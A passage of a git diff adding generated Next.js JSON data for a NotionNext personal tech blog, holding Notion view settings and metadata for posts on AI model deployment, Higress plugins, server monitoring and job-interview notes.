884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},"next":{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-cpu.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-cpu.json new file mode 100644 index 000000000..2b56f42e9 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-cpu.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=5